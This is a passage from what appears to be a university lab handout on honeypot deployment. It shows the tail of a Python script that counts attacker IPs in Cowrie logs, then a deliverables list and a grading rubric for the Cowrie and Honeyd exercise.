print(f"\nUnique Source IPs: {len(set(ips))}")
print("Top Attacker IPs:")
for ip, count in Counter(ips).most_common(5):
    print(f"  {ip}: {count} attempts")

EOF

# Make executable
chmod +x ~/analyze_honeypot.py

# Run analysis
python3 ~/analyze_honeypot.py
/home/user/honeypots/cowrie/var/log/cowrie/cowrie.json

```

DELIVERABLES

1. **Screenshot 1:** Cowrie running and listening
2. **Screenshot 2:** Honeypot connection log showing attacker activity
3. **Screenshot 3:** Captured attacker commands and file transfer attempts
4. **Screenshot 4:** Honeyd configuration and running instance
5. **Screenshot 5:** Nmap scan results showing honeypot services
6. **Threat Intelligence Report (800 words):** Summary of attacks, attacker profiles, TTPs, and recommendations
7. **Python Analysis Script:** analyze_honeypot.py with output showing statistical analysis
8. **JSON Log Sample:** At least 10 lines showing different event types (login, command, etc.)

ASSESSMENT RUBRIC (Lab 4: 10 marks)

Criteria	Excellent (9-10)	Good (7-8)	Satisfactory (5-6)	Needs Improvement (0-4)
Honeypot Deployment	Both Cowrie and Honeyd working; proper configuration; multiple services	One honeypot fully working; good configuration; basic services	Basic honeypot setup; limited services; minor config issues	Incomplete or non-functional honeypot
Attack Simulation	Multiple attacks generated; diverse techniques; clear	2-3 attacks generated; standard techniques; good	1-2 attacks; basic techniques; adequate logging	Minimal attacks; incomplete

Criteria	Excellent (9-10)	Good (7-8)	Satisfactory (5-6)	Needs Improvement (0-4)
Log Analysis	logs	logging		logs
	Comprehensive analysis; automation script; insights extracted	Good analysis; script attempts; valid insights	Basic log review; script incomplete; limited insights	Minimal analysis; no automation
Threat Intelligence	Detailed TTPs documented; concrete recommendations ; professional report	Good TTP documentation; adequate recommendations	Basic TTP identification; generic recommendation s	Minimal intelligence gathering
Documentation	Clear explanations; professional report; detailed findings	Adequate explanations; organized report; good findings	Basic explanations; acceptable report	Minimal documentation ; unclear findings
Overall Execution	Professional honeypot setup; captures real threats; excellent analysis	Good setup; captures attacker behavior; good analysis	Functional setup; basic threat capture; adequate analysis	Problematic setup; limited threat capture

The End!